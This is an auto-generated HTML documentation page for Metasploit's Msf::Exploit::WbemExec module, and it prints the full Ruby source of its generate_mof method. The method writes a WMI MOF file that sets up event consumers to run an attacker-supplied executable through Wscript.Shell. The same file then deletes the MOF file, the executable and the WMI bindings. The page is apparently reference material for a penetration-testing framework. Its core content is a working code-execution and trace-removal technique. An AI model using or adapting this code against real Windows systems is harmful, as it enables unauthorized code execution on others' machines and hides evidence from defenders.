Files
metasploit-gs/api/Msf/Exploit/WbemExec.html
T
jenkins-metasploit c3f5bd3de2 Reboot gh-pages
2026-05-08 17:08:43 +00:00

324 lines
8.0 KiB
HTML

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>
Module: Msf::Exploit::WbemExec
&mdash; Documentation by YARD 0.9.37
</title>
<link rel="stylesheet" href="../../css/style.css" type="text/css" />
<link rel="stylesheet" href="../../css/common.css" type="text/css" />
<script type="text/javascript">
pathId = "Msf::Exploit::WbemExec";
relpath = '../../';
</script>
<script type="text/javascript" charset="utf-8" src="../../js/jquery.js"></script>
<script type="text/javascript" charset="utf-8" src="../../js/app.js"></script>
</head>
<body>
<div class="nav_wrap">
<iframe id="nav" src="../../class_list.html?1"></iframe>
<div id="resizer"></div>
</div>
<div id="main" tabindex="-1">
<div id="header">
<div id="menu">
<a href="../../_index.html">Index (W)</a> &raquo;
<span class='title'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span> &raquo; <span class='title'><span class='object_link'><a href="../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span>
&raquo;
<span class="title">WbemExec</span>
</div>
<div id="search">
<a class="full_list_link" id="class_list_link"
href="../../class_list.html">
<svg width="24" height="24">
<rect x="0" y="4" width="24" height="4" rx="1" ry="1"></rect>
<rect x="0" y="12" width="24" height="4" rx="1" ry="1"></rect>
<rect x="0" y="20" width="24" height="4" rx="1" ry="1"></rect>
</svg>
</a>
</div>
<div class="clear"></div>
</div>
<div id="content"><h1>Module: Msf::Exploit::WbemExec
</h1>
<div class="box_info">
<dl>
<dt>Defined in:</dt>
<dd>lib/msf/core/exploit/wbem_exec.rb</dd>
</dl>
</div>
<h2>
Instance Method Summary
<small><a href="#" class="summary_toggle">collapse</a></small>
</h2>
<ul class="summary">
<li class="public ">
<span class="summary_signature">
<a href="#generate_mof-instance_method" title="#generate_mof (instance method)">#<strong>generate_mof</strong>(mofname, exe) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'></div></span>
</li>
</ul>
<div id="instance_method_details" class="method_details_list">
<h2>Instance Method Details</h2>
<div class="method_details first">
<h3 class="signature first" id="generate_mof-instance_method">
#<strong>generate_mof</strong>(mofname, exe) &#x21d2; <tt>Object</tt>
</h3><table class="source_code">
<tr>
<td>
<pre class="lines">
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/wbem_exec.rb', line 17</span>
<span class='kw'>def</span> <span class='id identifier rubyid_generate_mof'>generate_mof</span><span class='lparen'>(</span><span class='id identifier rubyid_mofname'>mofname</span><span class='comma'>,</span> <span class='id identifier rubyid_exe'>exe</span><span class='rparen'>)</span>
<span class='id identifier rubyid_classname'>classname</span> <span class='op'>=</span> <span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>0xffff</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span>
<span class='comment'># From Ivan&#39;s decompressed version
</span> <span class='id identifier rubyid_mof'>mof</span> <span class='op'>=</span> <span class='heredoc_beg'>&lt;&lt;-EOT</span>
<span class='tstring_content'>#pragma namespace(&quot;\\\\\\\\.\\\\root\\\\cimv2&quot;)
class MyClass@CLASS@
{
[key] string Name;
};
class ActiveScriptEventConsumer : __EventConsumer
{
[key] string Name;
[not_null] string ScriptingEngine;
string ScriptFileName;
[template] string ScriptText;
uint32 KillTimeout;
};
instance of __Win32Provider as $P
{
Name = &quot;ActiveScriptEventConsumer&quot;;
CLSID = &quot;{266c72e7-62e8-11d1-ad89-00c04fd8fdff}&quot;;
PerUserInitialization = TRUE;
};
instance of __EventConsumerProviderRegistration
{
Provider = $P;
ConsumerClassNames = {&quot;ActiveScriptEventConsumer&quot;};
};
Instance of ActiveScriptEventConsumer as $cons
{
Name = &quot;ASEC&quot;;
ScriptingEngine = &quot;JScript&quot;;
ScriptText = &quot;\\ntry {var s = new ActiveXObject(\\&quot;Wscript.Shell\\&quot;);\\ns.Run(\\&quot;@EXE@\\&quot;);} catch (err) {};\\nsv = GetObject(\\&quot;winmgmts:root\\\\\\\\cimv2\\&quot;);try {sv.Delete(\\&quot;MyClass@CLASS@\\&quot;);} catch (err) {};try {sv.Delete(\\&quot;__EventFilter.Name=&#39;instfilt&#39;\\&quot;);} catch (err) {};try {sv.Delete(\\&quot;ActiveScriptEventConsumer.Name=&#39;ASEC&#39;\\&quot;);} catch(err) {};&quot;;
};
Instance of ActiveScriptEventConsumer as $cons2
{
Name = &quot;qndASEC&quot;;
ScriptingEngine = &quot;JScript&quot;;
ScriptText = &quot;\\nvar objfs = new ActiveXObject(\\&quot;Scripting.FileSystemObject\\&quot;);\\ntry {var f1 = objfs.GetFile(\\&quot;wbem\\\\\\\\mof\\\\\\\\good\\\\\\\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_mofname'>mofname</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\&quot;);\\nf1.Delete(true);} catch(err) {};\\ntry {\\nvar f2 = objfs.GetFile(\\&quot;@EXE@\\&quot;);\\nf2.Delete(true);\\nvar s = GetObject(\\&quot;winmgmts:root\\\\\\\\cimv2\\&quot;);s.Delete(\\&quot;__EventFilter.Name=&#39;qndfilt&#39;\\&quot;);s.Delete(\\&quot;ActiveScriptEventConsumer.Name=&#39;qndASEC&#39;\\&quot;);\\n} catch(err) {};&quot;;
};
instance of __EventFilter as $Filt
{
Name = &quot;instfilt&quot;;
Query = &quot;SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \\&quot;MyClass@CLASS@\\&quot;&quot;;
QueryLanguage = &quot;WQL&quot;;
};
instance of __EventFilter as $Filt2
{
Name = &quot;qndfilt&quot;;
Query = &quot;SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \\&quot;Win32_Process\\&quot; AND TargetInstance.Name = \\&quot;@EXE@\\&quot;&quot;;
QueryLanguage = &quot;WQL&quot;;
};
instance of __FilterToConsumerBinding as $bind
{
Consumer = $cons;
Filter = $Filt;
};
instance of __FilterToConsumerBinding as $bind2
{
Consumer = $cons2;
Filter = $Filt2;
};
instance of MyClass@CLASS@ as $MyClass
{
Name = &quot;ClassConsumer&quot;;
};
</span><span class='heredoc_end'>EOT
</span>
<span class='comment'># Replace the input vars
</span> <span class='id identifier rubyid_mof'>mof</span><span class='period'>.</span><span class='id identifier rubyid_gsub!'>gsub!</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>@CLASS@</span><span class='regexp_end'>/</span></span><span class='comma'>,</span> <span class='id identifier rubyid_classname'>classname</span><span class='rparen'>)</span>
<span class='id identifier rubyid_mof'>mof</span><span class='period'>.</span><span class='id identifier rubyid_gsub!'>gsub!</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>@EXE@</span><span class='regexp_end'>/</span></span><span class='comma'>,</span> <span class='id identifier rubyid_exe'>exe</span><span class='rparen'>)</span> <span class='comment'># NOTE: \ and &quot; should be escaped
</span>
<span class='id identifier rubyid_mof'>mof</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
</div>
</div>
<div id="footer">
Generated on Fri May 8 17:01:16 2026 by
<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
0.9.37 (ruby-3.1.5).
</div>
</div>
</body>
</html>